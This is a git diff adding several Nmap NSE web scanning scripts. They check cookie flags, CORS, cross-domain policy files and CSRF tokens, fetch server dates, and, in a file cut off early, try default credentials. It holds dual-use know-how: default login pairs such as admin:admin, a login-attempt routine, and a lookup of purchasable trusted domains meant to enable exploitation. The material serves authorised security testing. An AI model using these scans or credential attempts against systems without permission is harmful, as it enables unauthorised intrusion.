+ return stdnse.format_output(false, "Can't determine file existence")
+ end
+
+ -- for each config file
+ for _, cfg in ipairs(CONFIGS) do
+ -- for each alteration of the filename
+ for entry in backupNames(cfg.filename) do
+ local url_path
+
+ url_path = url.build({path = path .. entry});
+
+ -- http request
+ local response = http.get(host, port, url_path);
+
+ -- if it's not 200, don't bother. If it is, check that it's not a false 404
+ if response.status == 200 and http.page_exists(response, result_404, known_404, url_path) then
+ -- check it if is valid before inserting
+ if cfg.check(response.body) then
+ local filename = stdnse.escape_filename((host.targetname or host.ip) .. url_path)
+
+ -- save the content
+ if save then
+ local status, err = write_file(save .. filename, response.body);
+ if status then
+ stdnse.debug1("%s saved", filename);
+ else
+ stdnse.debug1("error saving %s", err);
+ end
+ end
+
+ table.insert(backups, url_path .. " " .. response["status-line"]);
+ else
+ stdnse.debug1("%s: found but not matching: %s",
+ host.targetname or host.ip, url_path);
+ end
+ end
+ end
+ end
+
+ return stdnse.format_output(true, backups);
+end;
diff --git a/scripts/http-cookie-flags.nse b/scripts/http-cookie-flags.nse
new file mode 100644
index 0000000..84872fd
--- /dev/null
+++ b/scripts/http-cookie-flags.nse
@@ -0,0 +1,173 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+description = [[
+Examines cookies set by HTTP services. Reports any session cookies set
+without the httponly flag. Reports any session cookies set over SSL without
+the secure flag. If http-enum.nse is also run, any interesting paths found
+by it will be checked in addition to the root.
+]]
+
+---
+-- @usage
+-- nmap -p 443 --script http-cookie-flags <target>
+--
+-- @output
+-- 443/tcp open https
+-- | http-cookie-flags:
+-- | /:
+-- | PHPSESSID:
+-- | secure flag not set and HTTPS in use
+-- | /admin/:
+-- | session_id:
+-- | secure flag not set and HTTPS in use
+-- | httponly flag not set
+-- | /mail/:
+-- | ASPSESSIONIDASDF:
+-- | httponly flag not set
+-- | ASP.NET_SessionId:
+-- |_ secure flag not set and HTTPS in use
+--
+-- @args path Specific URL path to check for session cookie flags. Default: / and those found by http-enum.
+-- @args cookie Specific cookie name to check flags on. Default: A variety of commonly used session cookie names and patterns.
+--
+-- @xmloutput
+-- <table key="/">
+-- <table key="PHPSESSID">
+-- <elem>secure flag not set and HTTPS in use</elem>
+-- </table>
+-- </table>
+-- <table key="/admin/">
+-- <table key="session_id">
+-- <elem>secure flag not set and HTTPS in use</elem>
+-- <elem>httponly flag not set</elem>
+-- </table>
+-- </table>
+-- <table key="/mail/">
+-- <table key="ASPSESSIONIDASDF">
+-- <elem>httponly flag not set</elem>
+-- </table>
+-- <table key="ASP.NET_SessionId">
+-- <elem>secure flag not set and HTTPS in use</elem>
+-- </table>
+-- </table>
+--
+-- @see http-enum.nse
+-- @see http-security-headers.nse
+
+categories = { "default", "safe", "vuln" }
+author = "Steve Benson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+dependencies = {"http-enum"}
+
+portrule = shortport.http
+
+-- a list of patterns indicating cookies which are likely session cookies
+local session_cookie_patterns = {
+ '^PHPSESSID$',
+ '^CFID$',
+ '^CFTOKEN$',
+ '^VOXSQSESS$',
+ '^CAKEPHP$',
+ '^FedAuth$',
+ '^ASPXAUTH$',
+ '^session$',
+ '[Ss][Ee][Ss][Ss][Ii][Oo][Nn][^%a]*[Ii][Dd]'
+}
+
+-- check cookies set on a particular URL path. returns a table with problem
+-- cookie names mapped to a table listing each problem found.
+local check_path = function(is_session_cookie, host, port, path)
+ stdnse.debug1("start check of %s", path)
+ local path_issues = stdnse.output_table()
+ local resp = http.get(host, port, path)
+ if not resp.status then
+ stdnse.debug1("Error retrieving %s: %s", path, resp["status-line"])
+ return nil
+ end
+
+ if not resp.cookies then
+ stdnse.debug2("No cookies on %s", path)
+ return nil
+ end
+
+ for _,cookie in ipairs(resp.cookies) do
+ stdnse.debug2(' cookie: %s', cookie.name)
+ local issues = stdnse.output_table()
+ if is_session_cookie(cookie.name) then
+ stdnse.debug2(' IS a session cookie')
+ if port.service=='https' and not cookie.secure then
+ stdnse.debug2(' * no secure flag and https')
+ issues[#issues+1] = 'secure flag not set and HTTPS in use'
+ end
+ if not cookie.httponly then
+ stdnse.debug2(' * no httponly')
+ issues[#issues+1] = 'httponly flag not set'
+ end
+ end
+
+ if #issues>0 then
+ path_issues[cookie.name] = issues
+ end
+
+ end
+
+ stdnse.debug1("end check of %s : %d issues found", path, #path_issues)
+ if #path_issues>0 then
+ return path_issues
+ else
+ return nil
+ end
+end
+
+action = function(host, port)
+ local all_issues = stdnse.output_table()
+ local specified_path = stdnse.get_script_args(SCRIPT_NAME..".path")
+ local specified_cookie = stdnse.get_script_args(SCRIPT_NAME..".cookie")
+
+ -- create a function, is_session_cookie, which accepts a cookie name and
+ -- returns true if it is likely a session cookie, based on script-args
+ local is_session_cookie
+ if specified_cookie == nil then
+ is_session_cookie = function(cookie_name)
+ for _, pattern in ipairs(session_cookie_patterns) do
+ if string.find(cookie_name, pattern) then
+ return true
+ end
+ end
+ return false
+ end
+ else
+ is_session_cookie = function(cookie_name)
+ return cookie_name==specified_cookie
+ end
+ end
+
+ -- build a list of URL paths to check cookies for based on script-args and
+ -- http-enum results.
+ local paths_to_check = {}
+ if specified_path == nil then
+ stdnse.debug2('path script-arg is nil; checking / and anything from http-enum')
+ paths_to_check[#paths_to_check+1] = '/'
+ for _,path in ipairs( stdnse.registry_get({host.ip, 'www', port.number, 'all_pages'}) or {}) do
+ paths_to_check[#paths_to_check+1] = path
+ end
+ else
+ stdnse.verbose1('path script-arg is %s; checking only that path', specified_path)
+ paths_to_check[#paths_to_check+1] = specified_path
+ end
+
+ -- check desired cookies on all desired paths
+ for _,path in ipairs(paths_to_check) do
+ all_issues[path] = check_path(is_session_cookie, host, port, path)
+ end
+
+ if #all_issues>0 then
+ return all_issues
+ else
+ return nil
+ end
+
+end
diff --git a/scripts/http-cors.nse b/scripts/http-cors.nse
new file mode 100644
index 0000000..e766a3a
--- /dev/null
+++ b/scripts/http-cors.nse
@@ -0,0 +1,100 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Tests an http server for Cross-Origin Resource Sharing (CORS), a way
+for domains to explicitly opt in to having certain methods invoked by
+another domain.
+
+The script works by setting the Access-Control-Request-Method header
+field for certain enumerated methods in OPTIONS requests, and checking
+the responses.
+]]
+
+---
+-- @args http-cors.path The path to request. Defaults to
+-- <code>/</code>.
+--
+-- @args http-cors.origin The origin used with requests. Defaults to
+-- <code>example.com</code>.
+--
+-- @usage
+-- nmap -p 80 --script http-cors <target>
+--
+-- @output
+-- 80/tcp open
+-- |_cors.nse: GET POST OPTIONS
+
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.http
+
+local methods = {"HEAD", "GET", "POST", "PUT", "DELETE", "TRACE", "OPTIONS", "CONNECT", "PATCH"}
+
+local function origin_ok(raw, origin)
+ if not raw then
+ return false
+ end
+ if raw == "*" then
+ return true
+ end
+ if raw == "null" then
+ return false
+ end
+ local allowed = stringaux.strsplit(" ", raw)
+ for _, ao in ipairs(allowed) do
+ if origin == ao then
+ return true
+ end
+ end
+ return false
+end
+
+local function method_ok(raw, method)
+ if not raw then
+ return false
+ end
+ local stuff = stringaux.strsplit(" ", raw)
+ local nospace = table.concat(stuff, "")
+ local allowed = stringaux.strsplit(",", nospace)
+ for _, am in ipairs(allowed) do
+ if method == am then
+ return true
+ end
+ end
+ return false
+end
+
+local function test(host, port, method, origin)
+ local header = {
+ ["Origin"] = origin,
+ ["Access-Control-Request-Method"] = method,
+ }
+ local response = http.generic_request(host, port, "OPTIONS", "/", {header = header})
+ local aorigins = response.header["access-control-allow-origin"]
+ local amethods = response.header["access-control-allow-methods"]
+ local ook = origin_ok(aorigins, response)
+ local mok = method_ok(amethods, method)
+ return ook and mok
+end
+
+action = function(host, port)
+ local path = nmap.registry.args["http-cors.path"] or "/"
+ local origin = nmap.registry.args["http-cors.origin"] or "example.com"
+ local allowed = {}
+ for _, method in ipairs(methods) do
+ if test(host, port, method, origin) then
+ table.insert(allowed, method)
+ end
+ end
+ if #allowed > 0 then
+ return table.concat(allowed, " ")
+ end
+end
diff --git a/scripts/http-cross-domain-policy.nse b/scripts/http-cross-domain-policy.nse
new file mode 100644
index 0000000..76da3b3
--- /dev/null
+++ b/scripts/http-cross-domain-policy.nse
@@ -0,0 +1,306 @@
+local http = require "http"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local table = require "table"
+local tableaux = require "tableaux"
+local string = require "string"
+local slaxml = require "slaxml"
+
+description = [[
+Checks the cross-domain policy file (/crossdomain.xml) and the client-acces-policy file (/clientaccesspolicy.xml)
+in web applications and lists the trusted domains. Overly permissive settings enable Cross Site Request Forgery
+attacks and may allow attackers to access sensitive data. This script is useful to detect permissive
+configurations and possible domain names available for purchase to exploit the application.
+
+The script queries instantdomainsearch.com to lookup the domains. This functionality is
+turned off by default, to enable it set the script argument http-cross-domain-policy.domain-lookup.
+
+References:
+* http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html
+* http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html
+* https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
+* https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf
+* https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29
+* http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file
+]]
+
+---
+-- @usage nmap --script http-cross-domain-policy <target>
+-- @usage nmap -p 80 --script http-cross-domain-policy --script-args http-cross-domain-policy.domain-lookup=true <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8080/tcp open http-proxy syn-ack
+-- | http-cross-domain-policy:
+-- | VULNERABLE:
+-- | Cross-domain policy file (crossdomain.xml)
+-- | State: VULNERABLE
+-- | A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader,
+-- | etc. use to access data across different domains. A client acces policy file is similar to cross-domain policy
+-- | but is used for M$ Silverlight applications. Overly permissive configurations enables Cross-site Request
+-- | Forgery attacks, and may allow third parties to access sensitive data meant for the user.
+-- | Check results:
+-- | /crossdomain.xml:
+-- | <cross-domain-policy>
+-- | <allow-access-from domain="*.example.com"/>
+-- | <allow-access-from domain="*.exampleobjects.com"/>
+-- | <allow-access-from domain="*.example.co.in"/>'
+-- | </cross-domain-policy>
+-- | /clientaccesspolicy.xml:
+-- | <?xml version="1.0" encoding="utf8"?>
+-- | </accesspolicy>
+-- | <crossdomainaccess>
+-- | <policy>
+-- | <allowfrom httprequestheaders="SOAPAction">
+-- | <domain uri="*"/>
+-- | <domain uri="*.example.me"/>
+-- | <domain uri="*.exampleobjects.me"/>
+-- | </allowfrom>
+-- | <granto>
+-- | <resource path="/" includesubpaths="true"/>
+-- | </granto>
+-- | </policy>
+-- | </crossdomainaccess>
+-- | </accesspolicy>
+-- | Extra information:
+-- | Trusted domains:example.com, exampleobjects.com, example.co.in, *, example.me, exampleobjects.me
+-- | Use the script argument 'domain-lookup' to find trusted domains available for purchase
+-- | References:
+-- | http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html
+-- | http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html
+-- | https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29
+-- | http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file
+-- | https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf
+-- |_ https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html
+--
+--
+-- @args http-cross-domain-policy.domain-lookup Boolean to check domain availability. Default:false
+--
+-- @xmloutput
+-- <elem key="title">Cross-domain and Client Access policies.</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="description">
+-- <elem>A cross-domain policy file specifies the permissions that a
+-- web client such as Java, Adobe Flash, Adobe Reader, etc. use to
+-- access data across different domains. A client acces policy file
+-- is similar to cross-domain policy but is used for M$ Silverlight
+-- applications. Overly permissive configurations enables Cross-site
+-- Request Forgery attacks, and may allow third parties to access
+-- sensitive data meant for the user.</elem>
+-- </table>
+-- <table key="check_results">
+-- <table>
+-- <elem key="name">/crossdomain.xml</elem>
+-- <elem key="body">&lt;cross-domain-policy&gt;
+-- &lt;allow-access-from domain="*.example.com"/&gt;
+-- &lt;allow-access-from domain="*.exampleobjects.com"/&gt;
+-- &lt;allow-access-from domain="*.example.co.in"/&gt;'
+-- &lt;/cross-domain-policy&gt;</elem>
+-- </table>
+-- <table>
+-- <elem key="name">/clientaccesspolicy.xml</elem>
+-- <elem key="body">&lt;?xml version="1.0" encoding="utf8"?&gt;
+-- &lt;/accesspolicy&gt; &lt;crossdomainaccess&gt; &lt;policy&gt;
+-- &lt;allowfrom httprequestheaders="SOAPAction"&gt; &lt;domain
+-- uri="*"/&gt; &lt;domain uri="*.example.me"/&gt; &lt;domain
+-- uri="*.exampleobjects.me"/&gt; &lt;/allowfrom&gt; &lt;granto&gt;
+-- &lt;resource path="/" includesubpaths="true"/&gt;
+-- &lt;/granto&gt; &lt;/policy&gt; &lt;/crossdomainaccess&gt;
+-- &lt;/accesspolicy&gt;</elem>
+-- </table>
+-- </table>
+-- <table key="extra_info">
+-- <elem>Trusted domains:example.com, exampleobjects.com,
+-- example.co.in, *, example.me, exampleobjects.me Use the script argument
+-- 'domain-lookup' to find trusted domains available for
+-- purchase</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>
+-- https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html</elem>
+-- <elem>
+-- https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29</elem>
+-- <elem>
+-- http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html</elem>
+-- <elem>
+-- https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf</elem>
+-- <elem>
+-- http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file</elem>
+-- <elem>
+-- http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html</elem>
+-- </table>
+--
+---
+
+author = {"Seth Art <sethsec()gmail>", "Paulino Calderon <calderon()websec.mx>", "Gyanendra Mishra"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "external", "vuln"}
+
+portrule = shortport.http
+local tlds_instantdomainsearch = {".com", ".net", ".org", ".co", ".info", ".biz", ".mobi", ".us", ".ca", ".co.uk",
+ ".in", ".io", ".it", ".pt", ".me", ".tv"}
+
+---
+-- Queries instantdomainsearch.com to check if domains are available
+-- Returns nil if the query failed and true/false to indicate domain availability
+--
+-- Sample response:
+--
+-- {"label":"nmap","tld":"com","isRegistered":true,"isBid":false,
+-- "price":0,"aftermarketProvider":"","rank":14.028985023498535,"search":"name"}
+-- {"words":["nmap"],"synonyms":["nmap","scans"],"tld":"com","isBid":false,"price":0,
+-- "aftermarketProvider":"","rank":0.23496590554714203,"search":"word"}
+-- {"label":"snmap","tld":"com","isBid":false,"price":2994,"aftermarketProvider":"afternic.com",
+-- "rank":9.352656364440918,"search":"ngram"}
+---
+local function check_domain (domain)
+ local name, tld = domain:match("(%w*)%.*(%w*%.%w+)$")
+ if not(tableaux.contains(tlds_instantdomainsearch, tld)) then
+ stdnse.debug(1, "TLD '%s' is not supported by instantdomainsearch.com. Check manually.", tld)
+ return nil
+ end
+
+ stdnse.print_debug(1, "Checking availability of domain %s with tld:%s ", name, tld)
+ local path = string.format("/all/%s?/tlds=%s&limit=1", name, tld)
+ local response = http.get("instantdomainsearch.com", 443, path, {any_af=true})
+ if ( not(response) or (response.status and response.status ~= 200) ) then
+ return nil
+ end
+ local _, _, registered = response.body:find('"isRegistered":(.-),"isBid":')
+ return registered
+end
+
+---
+-- Requests and parses crossdomain.xml file
+---
+function check_crossdomain(host, port, lookup)
+ local trusted_domains = {}
+ local trusted_domains_available = {}
+ local content = {}
+ local req_opt = {redirect_ok=function(host,port)
+ local c = 3
+ return function(uri)
+ if ( c==0 ) then return false end
+ c = c - 1
+ return true
+ end
+ end}
+ local domain_table = {}
+ local CROSSDOMAIN = {
+ uri = '/crossdomain.xml',
+ attribute = function(name, value)
+ if name == 'domain' then
+ table.insert(domain_table, value)
+ end
+ end,
+ }
+
+ local CLIENTACCESS = {
+ uri = '/clientaccesspolicy.xml',
+ attribute = function(name, value)
+ if name == 'uri' then
+ table.insert(domain_table, value)
+ end
+ end,
+ }
+ local lists = {}
+ table.insert(lists, CROSSDOMAIN)
+ table.insert(lists, CLIENTACCESS)
+ for _, list in pairs(lists) do
+ local req = http.get(host, port, list.uri, req_opt)
+ if req.status and req.status == 200 then
+ domain_table = {}
+ local parser = slaxml.parser:new({attribute = list.attribute})
+ parser:parseSAX (req.body)
+ table.insert(content, {name = list.uri, body = req.body})
+ for _, domain in pairs(domain_table) do
+ --Matches wildcard, which means vulnerable as any host can comunicate with app
+ if domain == '*' or domain == 'http://' or domain == 'https://' then
+ stdnse.debug(1, "Wildcard detected!")
+ table.insert(trusted_domains, domain)
+ else
+ --Parse domains
+ local line = domain:gsub("%*%.", "")
+ stdnse.debug(1, "Extracted line: %s", line)
+ local domain = line:match("(%w*%.*%w+%.%w+)$")
+ if domain ~= nil then
+ --Deals with tlds with double extension
+ local tld = domain:match("%w*(%.%w*)%.%w+$")
+ if tld ~= nil and not(tableaux.contains(tlds_instantdomainsearch, tld)) then
+ domain = domain:match("%w*%.(.*)$")
+ end
+ --We add domains only once as they can appear multiple times
+ if not(tableaux.contains(trusted_domains, domain)) then
+ stdnse.debug(1, "Added trusted domain:%s", domain)
+ table.insert(trusted_domains, domain)
+ --Lookup domains if script argument is set
+ if ( lookup ) then
+ if check_domain(domain) == "false" then
+ stdnse.debug(1, "Domain '%s' is available for purchase!", domain)
+ table.insert(trusted_domains_available, domain)
+ end
+ end
+ end
+ end
+ stdnse.debug(1, "Extracted domain: %s", domain)
+ end
+ end
+ end
+ end
+ if (#trusted_domains> 0) then
+ return true, trusted_domains, trusted_domains_available, content
+ else
+ return nil
+ end
+end
+
+
+action = function(host, port)
+ local lookup = stdnse.get_script_args(SCRIPT_NAME..".domain-lookup") or false
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'Cross-domain and Client Access policies.',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+A cross-domain policy file specifies the permissions that a web client such as Java, Adobe Flash, Adobe Reader,
+etc. use to access data across different domains. A client acces policy file is similar to cross-domain policy
+but is used for M$ Silverlight applications. Overly permissive configurations enables Cross-site Request
+Forgery attacks, and may allow third parties to access sensitive data meant for the user.]],
+ references = {
+ 'http://sethsec.blogspot.com/2014/03/exploiting-misconfigured-crossdomainxml.html',
+ 'http://gursevkalra.blogspot.com/2013/08/bypassing-same-origin-policy-with-flash.html',
+ 'https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html',
+ 'https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/CrossDomain_PolicyFile_Specification.pdf',
+ 'https://www.owasp.org/index.php/Test_RIA_cross_domain_policy_%28OTG-CONFIG-008%29',
+ 'http://acunetix.com/vulnerabilities/web/insecure-clientaccesspolicy-xml-file'
+ },
+ }
+ local check, domains, domains_available, content = check_crossdomain(host, port, lookup)
+ local mt = {__tostring=function(p) return ("%s:\n %s"):format(p.name, p.body:gsub("\n", "\n ")) end}
+ if check then
+ if tableaux.contains(domains, "*") or tableaux.contains(domains, "https://") or tableaux.contains(domains, "http://") then
+ vuln.state = vulns.STATE.VULN
+ else
+ vuln.state = vulns.STATE.LIKELY_VULN
+ end
+ for i, _ in pairs(content) do
+ setmetatable(content[i], mt)
+ tostring(content[i])
+ end
+ vuln.check_results = content
+ vuln.extra_info = string.format("Trusted domains:%s\n", table.concat(domains, ', '))
+ if not(lookup) and nmap.verbosity()>=2 then
+ vuln.extra_info = vuln.extra_info .. "Use the script argument 'domain-lookup' to find trusted domains available for purchase"
+ end
+ if lookup ~= nil and #domains_available>0 then
+ vuln.state = vulns.STATE.EXPLOIT
+ vuln.extra_info = vuln.extra_info .. string.format("[!]Trusted domains available for purchase:%s", table.concat(domains_available, ', '))
+ end
+
+ end
+
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-csrf.nse b/scripts/http-csrf.nse
new file mode 100644
index 0000000..9a8f879
--- /dev/null
+++ b/scripts/http-csrf.nse
@@ -0,0 +1,187 @@
+description = [[
+This script detects Cross Site Request Forgeries (CSRF) vulnerabilities.
+
+It will try to detect them by checking each form if it contains an unpredictable
+token for each user. Without one an attacker may forge malicious requests.
+
+To recognize a token in a form, the script will iterate through the form's
+attributes and will search for common patterns in their names. If that fails, it
+will also calculate the entropy of each attribute's value. A big entropy means a
+possible token.
+
+A common use case for this script comes along with a cookie that gives access
+in pages that require authentication, because that's where the privileged
+exist. See the http library's documentation to set your own cookie.
+]]
+
+---
+-- @usage nmap -p80 --script http-csrf.nse <target>
+--
+-- @args http-csrf.singlepages The pages that contain the forms to check.
+-- For example, {/upload.php, /login.php}. Default: nil (crawler
+-- mode on)
+-- @args http-csrf.checkentropy If this is set the script will also calculate
+-- the entropy of the field's value to determine if it is a token,
+-- rather than just checking its name. Default: true
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-csrf:
+-- | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=some-very-random-page.com
+-- | Found the following CSRF vulnerabilities:
+-- |
+-- | Path: http://www.example.com/
+-- | Form id: search_bar_input
+-- | Form action: /search
+-- |
+-- | Path: http://www.example.com/c/334/watches.html
+-- | Form id: custom_price_filters
+-- | Form action: /search
+-- |
+-- | Path: http://www.example.com/c/334/watches.html
+-- | Form id: custom_price_filters
+-- |_ Form action: /c/334/rologia-xeiros-watches.html
+--
+---
+
+categories = {"intrusive", "exploit", "vuln"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local formulas = require "formulas"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+local httpspider = require "httpspider"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+-- Checks if this is really a token.
+isToken = function(value)
+
+ local minlength = 8
+ local minentropy = 72
+
+ -- If it has a reasonable length.
+ if #value > minlength then
+
+ local entropy = formulas.calcPwdEntropy(value)
+
+ -- Does it have a big entropy?
+ if entropy >= minentropy then
+ -- If it doesn't contain any spaces but contains at least one digit.
+ if not string.find(value, " ") and string.find(value, "%d") then
+ return 1
+ end
+ end
+ end
+
+ return 0
+
+end
+
+action = function(host, port)
+
+ local singlepages = stdnse.get_script_args("http-csrf.singlepages")
+ local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
+
+ local csrfvuln = {}
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, response, path
+ while (true) do
+
+ if singlepages then
+ local k, target,
+ k, target = next(singlepages, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ path = target
+
+ else
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+ end
+
+ if response.body then
+
+ local forms = http.grab_forms(response.body)
+
+ for i, form in ipairs(forms) do
+
+ form = http.parse_form(form)
+
+ local resistant = false
+ if form and form.action then
+ for _, field in ipairs(form['fields']) do
+
+ -- First we check the field's name.
+ if field['value'] then
+ resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
+ -- Let's be sure, by calculating the entropy of the field's value.
+ if not resistant and checkentropy then
+ resistant = isToken(field['value'])
+ end
+
+ if resistant then
+ break
+ end
+ end
+
+ end
+
+ if not resistant then
+
+ -- Handle forms with no id or action attributes.
+ form['id'] = form['id'] or ""
+ form['action'] = form['action'] or "-"
+
+ local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
+ table.insert(csrfvuln, { msg } )
+ end
+ end
+ end
+
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+
+ end
+
+ -- If the table is empty.
+ if next(csrfvuln) == nil then
+ return "Couldn't find any CSRF vulnerabilities."
+ end
+
+ table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
+
+ csrfvuln.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, csrfvuln)
+
+end
diff --git a/scripts/http-date.nse b/scripts/http-date.nse
new file mode 100644
index 0000000..cea5d94
--- /dev/null
+++ b/scripts/http-date.nse
@@ -0,0 +1,58 @@
+local datetime = require "datetime"
+local http = require "http"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local datetime = require "datetime"
+
+description = [[
+Gets the date from HTTP-like services. Also prints how much the date
+differs from local time. Local time is the time the HTTP request was
+sent, so the difference includes at least the duration of one RTT.
+]]
+
+---
+-- @output
+-- 80/tcp open http
+-- |_http-date: Thu, 02 Aug 2012 22:11:03 GMT; 0s from local time.
+-- 80/tcp open http
+-- |_http-date: Thu, 02 Aug 2012 22:07:12 GMT; -3m51s from local time.
+--
+-- @xmloutput
+-- <elem key="date">2012-08-02T23:07:12+00:00</elem>
+-- <elem key="delta">-231</elem>
+
+author = "David Fifield"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local response = http.get(host, port, "/")
+ local request_time = os.time()
+ if not response.status or not response.header["date"] then
+ return
+ end
+
+ local response_date = http.parse_date(response.header["date"])
+ if not response_date then
+ return
+ end
+ local response_time = datetime.date_to_timestamp(response_date)
+
+ local output_tab = stdnse.output_table()
+ output_tab.date = datetime.format_timestamp(response_time, 0)
+ output_tab.delta = os.difftime(response_time, request_time)
+
+ datetime.record_skew(host, response_time, request_time)
+
+ local output_str = string.format("%s; %s from local time.",
+ response.header["date"], datetime.format_difftime(os.date("!*t", response_time), os.date("!*t", request_time)))
+
+ return output_tab, output_str
+end
diff --git a/scripts/http-default-accounts.nse b/scripts/http-default-accounts.nse
new file mode 100644
index 0000000..36bd9ea
--- /dev/null
+++ b/scripts/http-default-accounts.nse
@@ -0,0 +1,446 @@
+local _G = require "_G"
+local creds = require "creds"
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Tests for access with default credentials used by a variety of web applications and devices.
+
+It works similar to http-enum, we detect applications by matching known paths and launching a login routine using default credentials when found.
+This script depends on a fingerprint file containing the target's information: name, category, location paths, default credentials and login routine.
+
+You may select a category if you wish to reduce the number of requests. We have categories like:
+* <code>web</code> - Web applications
+* <code>routers</code> - Routers
+* <code>security</code> - CCTVs and other security devices
+* <code>industrial</code> - Industrial systems
+* <code>printer</code> - Network-attached printers and printer servers
+* <code>storage</code> - Storage devices
+* <code>virtualization</code> - Virtualization systems
+* <code>console</code> - Remote consoles
+
+You can also select a specific fingerprint or a brand, such as BIG-IQ or Siemens. This matching is based on case-insensitive words. This means that "nas" will select Seagate BlackArmor NAS storage but not Netgear ReadyNAS.
+
+For a fingerprint to be used it needs to satisfy both the category and name criteria.
+
+By default, the script produces output only when default credentials are found, while staying silent when the target only matches some fingerprints (but no credentials are found). With increased verbosity (option -v), the script will also report all matching fingerprints.
+
+Please help improve this script by adding new entries to nselib/data/http-default-accounts.lua
+
+Remember each fingerprint must have:
+* <code>name</code> - Descriptive name
+* <code>category</code> - Category
+* <code>login_combos</code> - Table of login combinations
+* <code>paths</code> - Table containing possible path locations of the target
+* <code>login_check</code> - Login function of the target
+
+In addition, a fingerprint should have:
+* <code>target_check</code> - Target validation function. If defined, it will be called to validate the target before attempting any logins.
+* <code>cpe</code> - Official CPE Dictionary entry (see https://nvd.nist.gov/cpe.cfm)
+
+Default fingerprint file: /nselib/data/http-default-accounts-fingerprints.lua
+This script was based on http-enum.
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-default-accounts host/ip
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-default-accounts:
+-- | [Cacti] at /
+-- | admin:admin
+-- | [Nagios] at /nagios/
+-- |_ nagiosadmin:CactiEZ
+--
+-- @xmloutput
+-- <table key="Cacti">
+-- <elem key="cpe">cpe:/a:cacti:cacti</elem>
+-- <elem key="path">/</elem>
+-- <table key="credentials">
+-- <table>
+-- <elem key="username">admin</elem>
+-- <elem key="password">admin</elem>
+-- </table>
+-- </table>
+-- </table>
+-- <table key="Nagios">
+-- <elem key="cpe">cpe:/a:nagios:nagios</elem>
+-- <elem key="path">/nagios/</elem>
+-- <table key="credentials">
+-- <table>
+-- <elem key="username">nagiosadmin</elem>
+-- <elem key="password">CactiEZ</elem>
+-- </table>
+-- </table>
+-- </table>
+--
+-- @args http-default-accounts.basepath Base path to append to requests. Default: "/"
